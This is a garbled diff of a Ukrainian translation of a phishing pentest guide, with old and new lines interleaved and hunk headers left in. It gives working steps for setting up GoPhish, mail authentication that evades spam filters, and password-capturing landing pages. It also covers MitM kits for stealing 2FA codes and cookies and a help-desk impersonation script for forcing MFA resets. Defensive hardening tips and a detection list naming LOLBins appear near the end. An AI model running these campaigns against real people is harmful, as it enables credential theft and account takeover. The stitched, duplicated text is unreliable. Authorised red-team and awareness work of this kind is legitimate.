Крім того, не забувайте, що якщо користувачі використовують **будь-який веб-портал для доступу до своєї пошти**, ви можете перевірити, чи вразливий він до **username brute force**, і, якщо можливо, експлуатувати цю вразливість.
In order to **discover more** valid email addresses or **verify the ones** you have already discovered you can check if you can brute-force them smtp servers of the victim. [Learn how to verify/discover email address here](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
Moreover, don't forget that if the users use **any web portal to access their mails**, you can check if it's vulnerable to **username brute force**, and exploit the vulnerability if possible.
## Configuring GoPhish
### Встановлення
### Installation
Ви можете завантажити його з [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
You can download it from [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
Download and decompress it inside `/opt/gophish` and execute `/opt/gophish/gophish`\
Вам буде виведено пароль для адміністратора в порті 3333 у виводі. Тому отримайте доступ до цього порту і використайте ці облікові дані, щоб змінити пароль адміністратора. Можливо, вам доведеться tunnel цей порт на локальний:
You will be given a password for the admin user in port 3333 in the output. Therefore, access that port and use those credentials to change the admin password. You may need to tunnel that port to local:
```bash
ssh -L 3333:127.0.0.1:3333 <user>@<ip>
```
### Конфігурація
### Налаштування
**Налаштування TLS сертифіката**
**Конфігурація TLS сертифіката**
Перед цим кроком ви повинні **вже придбати домен**, який будете використовувати, і він має **вказувати** на **IP VPS**, де ви налаштовуєте **gophish**.
Перед цим кроком ви повинні **вже купити домен**, який збираєтеся використовувати, і він має **вказувати** на **IP of the VPS**, де ви налаштовуєте **gophish**.
```bash
DOMAIN="<domain>"
wget https://dl.eff.org/certbot-auto
@ -114,31 +114,31 @@ cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
```
**Налаштування пошти**
Почніть інсталяцію: `apt-get install postfix`
Почніть встановлення: `apt-get install postfix`
Потім додайте домен до наступних файлів:
Потім додайте домен у наступні файли:
- **/etc/postfix/virtual_domains**
- **/etc/postfix/transport**
- **/etc/postfix/virtual_regexp**
**Також змініть значення наступних змінних у файлі /etc/postfix/main.cf**
**Також змініть значення наступних змінних у /etc/postfix/main.cf**
`myhostname = <domain>`\
`mydestination = $myhostname, <domain>, localhost.com, localhost`
Нарешті змініть файли **`/etc/hostname`** та **`/etc/mailname`** на ваш домен і **перезапустіть ваш VPS.**
Тепер створіть **DNS A record** для `mail.<domain>`, яка вказує на **IP-адресу** VPS, та **DNS MX** record, що вказує на `mail.<domain>`
Тепер створіть **DNS A record** для `mail.<domain>`, що вказує на **ip address** вашого VPS, і **DNS MX** запис, що вказує на `mail.<domain>`
Тепер перевіримо відправку електронного листа:
```bash
apt install mailutils
echo "This is the body of the email" | mail -s "This is the subject line" test@email.com
```
**Налаштування Gophish**
**Gophish конфігурація**
Зупиніть виконання gophish і налаштуємо його.\
Зупиніть виконання gophish і давайте його налаштуємо.\
Змініть `/opt/gophish/config.json` на наступне (зверніть увагу на використання https):
```bash
{
@ -166,7 +166,7 @@ echo "This is the body of the email" | mail -s "This is the subject line" test@e
```
**Налаштування сервісу gophish**
Щоб створити сервіс gophish так, щоб його можна було автоматично запускати та керувати ним як сервісом, створіть файл `/etc/init.d/gophish` зі наступним вмістом:
Щоб створити сервіс gophish так, щоб його можна було запускати автоматично та керувати ним як сервісом, створіть файл `/etc/init.d/gophish` з таким вмістом:
```bash
#!/bin/bash
# /etc/init.d/gophish
@ -213,7 +213,7 @@ case $1 in
start|stop|status) "$1" ;;
esac
```
Завершіть налаштування сервісу та перевірте його, зробивши:
Завершіть налаштування сервісу та перевірте його, виконавши:
```bash
mkdir /var/log/gophish
chmod +x /etc/init.d/gophish
@ -226,33 +226,33 @@ service gophish stop
```
## Налаштування поштового сервера та домену
### Почекайте й дійте легітимно
### Зачекайте й будьте легітимними
Чим старіший домен, тим менша ймовірність, що його буде позначено як spam. Тому слід чекати якомога довше (at least 1week) перед phishing assessment. Крім того, якщо ви розмістите сторінку про репутаційну сферу, отримана репутація буде кращою.
Чим старший домен, тим менш імовірно, що його визнають спамом. Тому слід чекати якомога довше (щонайменше 1 тиждень) перед phishing assessment. Крім того, якщо розмістити сторінку про репутаційний сектор, отримана репутація буде кращою.
Зверніть увагу, що навіть якщо потрібно чекати тиждень, ви можете завершити налаштування вже зараз.
Зауважте, що навіть якщо доведеться чекати тиждень, ви можете завершити конфігурацію вже зараз.
### Налаштуйте Reverse DNS (rDNS) запис
### Configure Reverse DNS (rDNS) record
Створіть rDNS (PTR) запис, який резолвить IP address VPS на доменне ім'я.
Встановіть rDNS (PTR) запис, який зв'язує IP-адресу VPS з ім'ям домену.
### Sender Policy Framework (SPF) запис
### Sender Policy Framework (SPF) Record
Ви повинні **налаштувати SPF запис для нового домену**. Якщо ви не знаєте, що таке SPF запис [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#spf).
Ви повинні **налаштувати SPF запис для нового домену**. Якщо ви не знаєте, що таке SPF запис, [**прочитайте цю сторінку**](../../network-services-pentesting/pentesting-smtp/index.html#spf).
Ви можете використовувати [https://www.spfwizard.net/](https://www.spfwizard.net) для генерації вашої SPF policy (use the IP of the VPS machine)
Ви можете використати [https://www.spfwizard.net/](https://www.spfwizard.net) для генерації вашої SPF політики (використайте IP-адресу VPS)
![](<../../images/image (1037).png>)
Ось вміст, який потрібно встановити в TXT записі домену:
Це вміст, який потрібно встановити в TXT записі домену:
```bash
v=spf1 mx a ip4:ip.ip.ip.ip ?all
```
### Domain-based Message Authentication, Reporting & Conformance (DMARC) запис
### Запис DMARC (Domain-based Message Authentication, Reporting & Conformance)
Ви повинні **налаштувати DMARC запис для нового домену**. Якщо ви не знаєте, що таке DMARC запис, [**прочитайте цю сторінку**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc).
Ви повинні **налаштувати DMARC-запис для нового домену**. Якщо ви не знаєте, що таке DMARC-запис, [**прочитайте цю сторінку**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc).
Вам потрібно створити новий DNS TXT запис для імені хоста `_dmarc.<domain>` зі наступним вмістом:
Ви маєте створити новий DNS TXT-запис, що вказує на хостнейм `_dmarc.<domain>` з таким вмістом:
```bash
v=DMARC1; p=none
```
@ -260,10 +260,10 @@ v=DMARC1; p=none
Ви повинні **налаштувати DKIM для нового домену**. Якщо ви не знаєте, що таке запис DMARC [**прочитайте цю сторінку**](../../network-services-pentesting/pentesting-smtp/index.html#dkim).
Цей підручник базується на: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
This tutorial is based on: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
> [!TIP]
> Потрібно з'єднати обидва значення B64, які генерує ключ DKIM:
> Вам потрібно об'єднати обидва B64-значення, які генерує ключ DKIM:
>
> ```
> v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB
@ -272,11 +272,11 @@ v=DMARC1; p=none
### Перевірте оцінку конфігурації електронної пошти
Ви можете зробити це за допомогою [https://www.mail-tester.com/](https://www.mail-tester.com)\
Просто відкрийте сторінку та надішліть імейл на адресу, яку вони вам дадуть:
Просто відкрийте сторінку та надішліть електронний лист на адресу, яку вони вам нададуть:
```bash
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
```
Ви також можете **перевірити конфігурацію електронної пошти**, відправивши листа на `check-auth@verifier.port25.com` та **прочитати відповідь** (для цього вам потрібно **відкрити** port **25** і переглянути відповідь у файлі _/var/mail/root_, якщо ви відправите лист як root).\
Ви також можете **перевірити налаштування електронної пошти**, надіславши листа на `check-auth@verifier.port25.com` і **переглянути відповідь** (для цього потрібно **відкрити** порт **25** та подивитися відповідь у файлі _/var/mail/root_, якщо ви надсилаєте лист від імені root).\
Переконайтеся, що ви проходите всі тести:
```bash
==========================================================
@ -288,39 +288,39 @@ DKIM check: pass
Sender-ID check: pass
SpamAssassin check: ham
```
Ви також можете надіслати **повідомлення на Gmail під вашим контролем** і перевірити **заголовки електронної пошти** у вашій поштовій скриньці Gmail — у полі заголовка `Authentication-Results` має бути присутнім `dkim=pass`.
Ви також можете надіслати **лист на Gmail під вашим контролем**, і перевірити **заголовки електронного листа** у своїй поштовій скриньці Gmail, `dkim=pass` має бути присутнім у полі заголовка `Authentication-Results`.
```
Authentication-Results: mx.google.com;
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
dkim=pass header.i=@example.com;
```
### Видалення з Spamhouse Blacklist
### Видалення з чорного списку Spamhouse
Сторінка [www.mail-tester.com](https://www.mail-tester.com) може показати, чи ваш домен блокується spamhouse. Ви можете запросити видалення вашого домену/IP за адресою: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
Сторінка [www.mail-tester.com](https://www.mail-tester.com) може вказати вам, чи ваш домен блокується spamhouse. Ви можете запросити видалення вашого домену/IP за адресою: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
### Видалення з Microsoft Blacklist
### Видалення з чорного списку Microsoft
Ви можете запросити видалення вашого домену/IP за адресою [https://sender.office.com/](https://sender.office.com).
Ви можете запросити видалення вашого домену/IP на [https://sender.office.com/](https://sender.office.com).
## Створення та запуск кампанії GoPhish
### Sending Profile
### Профіль відправника
- Вкажіть деяку **назву для ідентифікації** профілю відправника
- Визначте, з якого акаунта ви будете надсилати phishing emails. Пропозиції: _noreply, support, servicedesk, salesforce..._
- Ви можете залишити порожніми username та password, але обов'язково поставте галочку на Ignore Certificate Errors
- Вкажіть **назву для ідентифікації** профілю відправника
- Визначте, з якого облікового запису ви будете надсилати phishing emails. Пропозиції: _noreply, support, servicedesk, salesforce..._
- Ви можете залишити порожніми ім'я користувача та пароль, але обов'язково поставте галочку Ignore Certificate Errors
![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
> [!TIP]
> Рекомендується використовувати функцію "**Send Test Email**" щоб перевірити, що все працює.\
> Я рекомендую **відправляти тестові листи на 10min mails addresses**, щоб уникнути потрапляння в чорний список під час тестів.
> Рекомендується використовувати функцію "**Send Test Email**" щоб перевірити, чи все працює.\
> Раджу **надсилати тестові листи на адреси 10min mails** щоб уникнути потрапляння в чорний список під час тестів.
### Email Template
### Шаблон листа
- Вкажіть деяку **назву для ідентифікації** шаблону
- Потім введіть **тему** (нічого дивного, просто те, що ви могли б очікувати побачити в звичайному листі)
- Переконайтеся, що ви поставили галочку на "**Add Tracking Image**"
- Вкажіть **назву для ідентифікації** шаблону
- Потім напишіть **тему** (нічого дивного, просто те, що ви могли б очікувати в звичайному листі)
- Переконайтеся, що встановлено "**Add Tracking Image**"
- Напишіть **шаблон листа** (ви можете використовувати змінні, як у наведеному прикладі):
```html
<html>
@ -340,56 +340,56 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
</body>
</html>
```
Зверніть увагу, що **щоб підвищити достовірність листа**, рекомендується використати якийсь підпис із реального листа від клієнта. Пропозиції:
Зауважте, що **щоб підвищити правдоподібність листа**, рекомендується використати якийсь підпис із реального листа від клієнта. Пропозиції:
- Надішліть лист на **неіснуючу адресу** і перевірте, чи відповідь містить який-небудь підпис.
- Пошукайте **публічні email** типу info@ex.com або press@ex.com чи public@ex.com і надішліть їм лист, зачекавши на відповідь.
- Спробуйте зв’язатися з **якоюсь валідною знайденою** адресою та зачекайте на відповідь
- Надішліть листа на **неіснуючу адресу** і перевірте, чи відповідь містить підпис.
- Знайдіть **публічні email** типу info@ex.com або press@ex.com чи public@ex.com і надішліть їм листа, дочекавшись відповіді.
- Спробуйте зв’язатися з **якою-небудь виявленою дійсною** адресою і дочекайтеся відповіді
![](<../../images/image (80).png>)
> [!TIP]
> Email Template також дозволяє **додавати файли для відправки**. Якщо ви також хочете вкрасти NTLM challenges, використовуючи спеціально підготовлені файли/документи, [прочитайте цю сторінку](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
> Email Template також дозволяє **додавати файли до відправки**. Якщо ви також хочете вкрасти NTLM challenges за допомогою спеціально сконструйованих файлів/документів, [читайте цю сторінку](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
### Landing Page
- Вкажіть **назву**
- **Write the HTML code** веб-сторінки. Зверніть увагу, що ви можете **імпортувати** веб-сторінки.
- Вкажіть **ім'я**
- **Напишіть HTML-код** веб-сторінки. Зверніть увагу, що ви можете **імпортувати** веб-сторінки.
- Позначте **Capture Submitted Data** та **Capture Passwords**
- Встановіть **redirection**
- Встановіть **редирект**
![](<../../images/image (826).png>)
> [!TIP]
> Зазвичай вам потрібно буде змінити HTML code сторінки і протестувати локально (можливо використовуючи якийсь Apache server), **доки результат вас не влаштує.** Потім вставте цей HTML code у поле.\
> Зверніть увагу, що якщо вам потрібно **використати статичні ресурси** для HTML (наприклад CSS або JS), ви можете зберегти їх у _**/opt/gophish/static/endpoint**_ і потім звертатися до них через _**/static/\<filename>**_
> Зазвичай вам доведеться відредагувати HTML-код сторінки і протестувати локально (можливо, використовуючи Apache) **доки результат вас не влаштує.** Потім вставте цей HTML-код у поле.\
> Зауважте, якщо вам потрібно **використати якісь статичні ресурси** для HTML (наприклад CSS або JS), ви можете зберегти їх у _**/opt/gophish/static/endpoint**_ і потім звертатися до них з _**/static/\<filename>**_
> [!TIP]
> Для редиректу ви можете **перенаправляти користувачів на легітимну головну сторінку** жертви, або направляти їх на _/static/migration.html_, наприклад показати **spinning wheel** ([https://loading.io/](https://loading.io)) протягом 5 секунд, а потім вказати, що процес пройшов успішно.
> Для редиректу ви можете **перенаправити користувачів на легітимну головну сторінку** жертви, або на _/static/migration.html_, наприклад, показати **спіннер** ([https://loading.io/](https://loading.io)) протягом 5 секунд, а потім повідомити, що процес пройшов успішно.
### Users & Groups
- Вкажіть назву
- **Import the data** (зверніть увагу, що для використання шаблону у прикладі вам потрібні firstname, last name та email address кожного користувача)
- Задайте ім'я
- **Імпортуйте дані** (зауважте, що щоб використати шаблон як приклад, вам потрібні firstname, last name та email address кожного користувача)
![](<../../images/image (163).png>)
### Campaign
Нарешті, створіть кампанію, задавши назву, email template, landing page, URL, sending profile та групу. Зверніть увагу, що URL буде посиланням, яке відправляється жертвам.
Нарешті, створіть кампанію, обравши назву, email template, landing page, URL, sending profile та group. Зауважте, що URL буде лінком, який буде надіслано жертвам.
Зверніть увагу, що **Sending Profile дозволяє надіслати тестовий лист, щоб побачити, як виглядатиме фінальний фішинг-лист**:
![](<../../images/image (192).png>)
> [!TIP]
> Рекомендую **надсилати тестові листи на адреси 10min mails**, щоб уникнути потрапляння до чорних списків під час тестів.
> Рекомендую **надсилати тестові листи на адреси 10min mails**, щоб уникнути блокування під час тестів.
Коли все готово — просто запустіть кампанію!
## Website Cloning
Якщо з якоїсь причини ви хочете клонувати вебсайт, перевірте наступну сторінку:
Якщо з якоїсь причини ви хочете клонувати вебсайт, перегляньте наступну сторінку:
{{#ref}}
@ -398,8 +398,8 @@ clone-a-website.md
## Backdoored Documents & Files
У деяких фішингових тестах (головним чином для Red Teams) ви також захочете **відправляти файли, що містять якийсь backdoor** (можливо C2 або просто щось, що спровокує автентифікацію).\
Перегляньте наступну сторінку для прикладів:
У деяких фішингових оцінках (головним чином для Red Teams) ви також захочете **надіслати файли, що містять бекдор** (наприклад C2 або щось, що спровокує автентифікацію).\
Дивіться наступну сторінку для прикладів:
{{#ref}}
@ -410,53 +410,53 @@ phishing-documents.md
### Via Proxy MitM
Попередня атака доволі хитра, оскільки ви підробляєте реальний сайт і збираєте інформацію, введену користувачем. На жаль, якщо користувач не ввів правильний пароль або якщо додаток, який ви підробили, налаштований з 2FA, **ця інформація не дозволить вам видавати себе за ошуканого користувача**.
Попередня атака досить витончена, оскільки ви підробляєте реальний вебсайт і збираєте інформацію, введену користувачем. На жаль, якщо користувач не ввів правильний пароль або якщо додаток, який ви підробили, налаштований з 2FA, **ця інформація не дозволить вам видати себе за обдуреного користувача**.
Тут корисні інструменти на кшталт [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) та [**muraena**](https://github.com/muraenateam/muraena). Ці інструменти дозволяють реалізувати MitM-атаку. Загалом атака працює так:
Тут корисні інструменти на кшталт [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) та [**muraena**](https://github.com/muraenateam/muraena). Ці інструменти дозволяють реалізувати MitM-атаку. По суті, атака працює так:
1. Ви **імітуєте форму логіну** справжньої веб-сторінки.
2. Користувач **надішле** свої **credentials** на вашу підроблену сторінку, а інструмент переадресує їх на реальний сайт, **перевіряючи, чи працюють credentials**.
3. Якщо акаунт налаштований з **2FA**, MitM-сторінка запросить його, і як тільки **користувач введе** його, інструмент передасть його на реальний сайт.
4. Коли користувач автентифікований, ви (як атакуючий) отримаєте **захоплені credentials, 2FA, cookie та будь-яку інформацію** про кожну взаємодію під час виконання MitM.
1. Ви **підроблюєте форму входу** реальної веб-сторінки.
2. Користувач **надсилає** свої **облікові дані** на вашу фальшиву сторінку, і інструмент пересилає їх на реальний сайт, **перевіряючи, чи працюють дані**.
3. Якщо акаунт налаштований з **2FA**, сторінка MitM попросить його, і коли **користувач введе** код, інструмент передасть його на реальний вебсайт.
4. Після автентифікації користувача ви (як атакуючий) отримаєте **захоплені credentials, 2FA, cookie та будь-яку інформацію** про кожну взаємодію, поки інструмент здійснює MitM.
### Via VNC
Що, якщо замість того, щоб **направляти жертву на зловмисну сторінку** з виглядом оригіналу, ви направите її в **VNC-сесію з браузером, підключеним до реального сайту**? Ви зможете бачити, що робить користувач, вкрасти пароль, MFA, cookies...\
А що як замість того, щоб **надсилати жертву на зловмисну сторінку**, яка виглядає як оригінальна, ви відправите її в **VNC-сесію з браузером, підключеним до реальної сторінки**? Ви зможете бачити його дії, вкрасти пароль, MFA, кукі...\
Це можна зробити за допомогою [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
## Detecting the detection
Очевидно, один із найпростіших способів дізнатися, чи вас зловили — це **перевірити ваш домен у чорних списках**. Якщо він там є, значить ваш домен визнали підозрілим.\
Один із простих способів перевірити, чи ваш домен знаходиться у чорному списку, — скористатися [https://malwareworld.com/](https://malwareworld.com)
Очевидно, один із найпростіших способів дізнатися, що вас викрили — це **перевірити свій домен у чорних списках**. Якщо він вказаний, значить ваш домен був позначений як підозрілий.\
Простий спосіб перевірити, чи з'являється ваш домен у чорних списках — скористатися [https://malwareworld.com/](https://malwareworld.com)
Однак існують й інші способи дізнатися, чи **жертва активно шукає підозрілі фішингові домени в інтернеті**, як пояснено в:
Однак є й інші способи дізнатися, чи жертва **активно шукає підозрілу фішингову активність у мережі**, як описано в:
{{#ref}}
detecting-phising.md
{{#endref}}
Ви можете **купити домен з дуже схожою назвою** на домен жертви **і/або згенерувати сертифікат** для **субдомену** домену, яким ви володієте, що **містить** ключове **слово** від домену жертви. Якщо **жертва** виконає будь-яку DNS чи HTTP взаємодію з ними, ви дізнаєтесь, що **вона активно шукає** підозрілі домени, і вам доведеться діяти дуже обережно.
Ви можете **купити домен із дуже схожою назвою** на домен жертви **і/або згенерувати сертифікат** для **субдомену** домену, яким ви керуєте, **що містить ключове слово** домену жертви. Якщо **жертва** виконає будь-яку DNS або HTTP взаємодію з ними, ви дізнаєтеся, що **вона активно шукає** підозрілі домени, і вам потрібно буде діяти дуже обережно.
### Evaluate the phishing
### Оцінка фішингу
Використайте [**Phishious**](https://github.com/Rices/Phishious), щоб оцінити, чи ваш лист потрапить у спам, буде заблокований або буде успішним.
Використовуйте [**Phishious**](https://github.com/Rices/Phishious), щоб оцінити, чи ваш лист потрапить у спам, буде заблокований або вважатиметься успішним.
## High-Touch Identity Compromise (Help-Desk MFA Reset)
## High- Touch Identity Compromise (Help-Desk MFA Reset)
Сучасні групи зловмисників дедалі частіше зовсім відмовляються від email-lures і **безпосередньо атакують service-desk / identity-recovery workflow**, щоб обійти MFA. Атака повністю «living-off-the-land»: коли оператор отримує валідні credentials, він перемикається на вбудовані адміністраторські інструменти — без необхідності в malware.
Сучасні групи зловмисників усе частіше повністю відмовляються від email-lures і **безпосередньо атакують службу підтримки / workflow відновлення ідентичності**, щоб обійти MFA. Атака повністю «living-off-the-land»: коли оператор має дійсні облікові дані, він перемикається на вбудовані адмін-інструменти — шкідливе ПЗ не потрібне.
### Attack flow
1. Recon the victim
### Схема атаки
1. Recon жертви
* Збирайте персональні та корпоративні дані з LinkedIn, витоків даних, публічного GitHub тощо.
* Ідентифікуйте цінні особи (керівники, IT, фінанси) та виявіть **точний процес help-desk** для скидання пароля / MFA.
2. Real-time social engineering
* Дзвінок, Teams або чат з help-desk, прикидаючись цільовою особою (часто з **підробленим caller-ID** або **клонованим голосом**).
* Надайте раніше зібрану PII для проходження верифікації за знанням.
* Переконайте агента **скинути MFA secret** або виконати **SIM-swap** на зареєстрований мобільний номер.
3. Immediate post-access actions (≤60 min in real cases)
* Встановіть foothold через будь-який web SSO портал.
* Перерахуйте AD / AzureAD за допомогою вбудованих інструментів (без завантаження бінарів):
* Визначте цінні ідентичності (керівники, IT, фінанси) і перелічіть **точний процес help-desk** для скидання пароля / MFA.
2. Соціальна інженерія в реальному часі
* Дзвінки, Teams або чат службі підтримки, прикидаючись ціллю (часто з **підробленим Caller-ID** або **клонованим голосом**).
* Надайте заздалегідь зібрані PII для проходження перевірки знанням.
* Переконайте агента **скинути MFA-секрет** або виконати **SIM-swap** на зареєстрований мобільний номер.
3. Негайні дії після доступу (≤60 хв у реальних випадках)
* Встановіть плацдарм через будь-який web SSO портал.
* Перелічіть AD / AzureAD за допомогою вбудованих інструментів (без завантаження бінарників):
```powershell
# list directory groups & privileged roles
Get-ADGroup -Filter * -Properties Members | ?{$_.Members -match $env:USERNAME}
@ -467,56 +467,56 @@ Get-MgDirectoryRole | ft DisplayName,Id
# Enumerate devices the account can login to
Get-MgUserRegisteredDevice -UserId <user@corp.local>
```
* Рух латерально з використанням **WMI**, **PsExec**, або легітимних **RMM**-агентів, які вже дозволені в середовищі.
* Рух латерально з використанням **WMI**, **PsExec**, або легітимних **RMM** агентів, які вже внесені до білого списку в середовищі.
### Detection & Mitigation
* Розглядайте identity recovery через help-desk як **привілейовану операцію** — вимагайте step-up auth та затвердження менеджера.
* Розгорніть правила **Identity Threat Detection & Response (ITDR)** / **UEBA**, що сповіщають про:
* Зміну методу MFA + автентифікацію з нового пристрою / геолокації.
* Миттєве підвищення привілеїв того ж самого принципалу (user → admin).
* Записуйте дзвінки до help-desk і вимагайте **call-back на раніше зареєстрований номер** перед будь-яким скиданням.
* Впровадьте **Just-In-Time (JIT) / Privileged Access**, щоб не допустити автоматичного наслідування високопривілейованих токенів ново скинутими акаунтами.
### Виявлення та пом’якшення
* Розглядайте відновлення ідентичності через help-desk як **привілейовану операцію** — вимагайте step-up auth та затвердження менеджера.
* Розгорніть правила **Identity Threat Detection & Response (ITDR)** / **UEBA**, що сигналізують про:
* Зміну методу MFA + автентифікацію з нового пристрою / гео.
* Негайне підвищення привілеїв того самого принципала (user → admin).
* Записуйте дзвінки до служби підтримки і вимагайте **повернесь на вже зареєстрований номер** перед будь-яким скиданням.
* Впровадьте **Just-In-Time (JIT) / Privileged Access**, щоб не дозволяти недавно скинутим акаунтам автоматично отримувати високопривілейовані токени.
---
## At-Scale Deception SEO Poisoning & “ClickFix” Campaigns
Комерційні групи компенсують витрати на high-touch операції масовими атаками, які перетворюють **search engines & ad networks у канал доставки**.
Масові групи покривають витрати на високоточні операції масовими атаками, які перетворюють **пошукові системи та рекламні мережі на канал доставки**.
1. **SEO poisoning / malvertising** просуває фейковий результат, наприклад `chromium-update[.]site`, у верхні оголошення пошуку.
2. Жертва завантажує невеликий **перший ланцюговий лоадер** (часто JS/HTA/ISO). Приклади, виявлені Unit 42:
1. **SEO poisoning / malvertising** просуває фальшивий результат, наприклад `chromium-update[.]site`, у верхні рекламні позиції.
2. Жертва завантажує невеликий **first-stage loader** (часто JS/HTA/ISO). Приклади, що були виявлені Unit 42:
* `RedLine stealer`
* `Lumma stealer`
* `Lampion Trojan`
3. Лоадер вивантажує браузерні cookies + credential DBs, потім завантажує **тихий лоадер**, який у реальному часі вирішує, чи розгортати:
3. Loader викачує cookies браузера + credential DBs, потім тягне **silent loader**, який у режимі реального часу вирішує, чи розгортати:
* RAT (наприклад AsyncRAT, RustDesk)
* ransomware / wiper
* компонент для persistence (ключ Run у реєстрі + scheduled task)
* компонент персистентності (registry Run key + scheduled task)
### Hardening tips
* Блокуйте новозареєстровані домени і застосовуйте **Advanced DNS / URL Filtering** як для пошукових оголошень, так і для e-mail.
* Обмежте встановлення програм до підписаних MSI / Store-пакетів, забороніть виконання `HTA`, `ISO`, `VBS` політикою.
### Поради з жорсткості
* Блокуйте новозареєстровані домени та впровадьте **Advanced DNS / URL Filtering** для *search-ads*, а також для email.
* Обмежте встановлення ПЗ лише підписаними MSI / Store пакетами, забороніть виконання `HTA`, `ISO`, `VBS` політикою.
* Моніторте дочірні процеси браузерів, що відкривають інсталятори:
```yaml
- parent_image: /Program Files/Google/Chrome/*
and child_image: *\\*.exe
```
* Шукайте LOLBins, які часто зловживають перші ланцюгові лоадери (напр., `regsvr32`, `curl`, `mshta`).
* Шукайте LOLBins, які часто використовуються першими лоадерами (наприклад `regsvr32`, `curl`, `mshta`).
---
## AI-Enhanced Phishing Operations
Атакуючі тепер ланцюжать **LLM & voice-clone APIs** для повністю персоналізованих приманок та взаємодії в реальному часі.
Атакуючі тепер поєднують **LLM & voice-clone APIs** для повністю персоналізованих приманок та взаємодії в реальному часі.
| Layer | Example use by threat actor |
|-------|-----------------------------|
|Automation|Generate & send >100 k emails / SMS with randomised wording & tracking links.|
|Generative AI|Produce *one-off* emails referencing public M&A, inside jokes from social media; deep-fake CEO voice in callback scam.|
|Agentic AI|Autonomously register domains, scrape open-source intel, craft next-stage mails when a victim clicks but doesnt submit creds.|
|Automation|Генерують і надсилають >100k листів / SMS з рандомізованими формулюваннями та трекінговими лінками.|
|Generative AI|Створюють одноразові листи, що посилаються на публічні M&A, внутрішні жарти з соцмереж; deep-fake голос CEO у callback-шахрайстві.|
|Agentic AI|Автономно реєструють домени, збирають open-source intel, готують наступні листи, якщо жертва клікнула, але не відправила credentials.|
**Defence:**
• Додавайте **динамічні банери**, що підкреслюють повідомлення, надіслані з неперевіреної автоматизації (через ARC/DKIM anomalies).
• Впровадьте **voice-biometric challenge phrases** для запитів високого ризику по телефону.
• Постійно симулюйте AI-згенеровані приманки в програмах підвищення обізнаності — статичні шаблони застаріли.
**Захист:**
• Додавайте **динамічні банери**, які виділяють повідомлення, надіслані з недовіреної автоматизації (через аномалії ARC/DKIM).
• Впроваджуйте **voice-biometric challenge phrases** для запитів по телефону з високим ризиком.
• Постійно імітуйте AI-згенеровані приманки в програмах підвищення обізнаності — статичні шаблони застарівають.
See also agentic browsing abuse for credential phishing:
@ -527,19 +527,19 @@ ai-agent-mode-phishing-abusing-hosted-agent-browsers.md
---
## MFA Fatigue / Push Bombing Variant Forced Reset
Окрім класичного push-bombing, оператори просто **примушують до нової реєстрації MFA** під час дзвінка до help-desk, зневажаючи існуючий токен користувача. Будь-який наступний запит на логін виглядає легітимним для жертви.
Окрім класичного push-bombing, оператори просто **примушують до нової реєстрації MFA** під час дзвінка в help-desk, анулюючи існуючий токен користувача. Будь-який наступний запит входу виглядатиме для жертви легітимно.
```text
[Attacker] → Help-Desk: “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?”
[Help-Desk] → AzureAD: Delete existing methods → sends registration e-mail
[Attacker] → Completes new TOTP enrolment on their own device
```
Моніторте події AzureAD/AWS/Okta, де **`deleteMFA` + `addMFA`** відбуваються **протягом кількох хвилин з тієї ж IP-адреси**.
Моніторити події AzureAD/AWS/Okta, де **`deleteMFA` + `addMFA`** відбуваються **протягом кількох хвилин з тієї самої IP-адреси**.
## Clipboard Hijacking / Pastejacking
Зловмисники можуть тихо скопіювати шкідливі команди в буфер обміну жертви з компрометованої або typosquatted веб-сторінки, а потім обманом змусити користувача вставити їх у **Win + R**, **Win + X** або вікно терміналу, виконуючи довільний код без будь-яких завантажень чи вкладень.
Зловмисники можуть непомітно скопіювати шкідливі команди у буфер обміну жертви з скомпрометованої або typosquatted веб-сторінки, а потім обманути користувача, щоб він вставив їх у **Win + R**, **Win + X** або в термінал, що призведе до виконання довільного коду без завантаження чи вкладень.
{{#ref}}
@ -553,6 +553,33 @@ clipboard-hijacking.md
mobile-phishing-malicious-apps.md
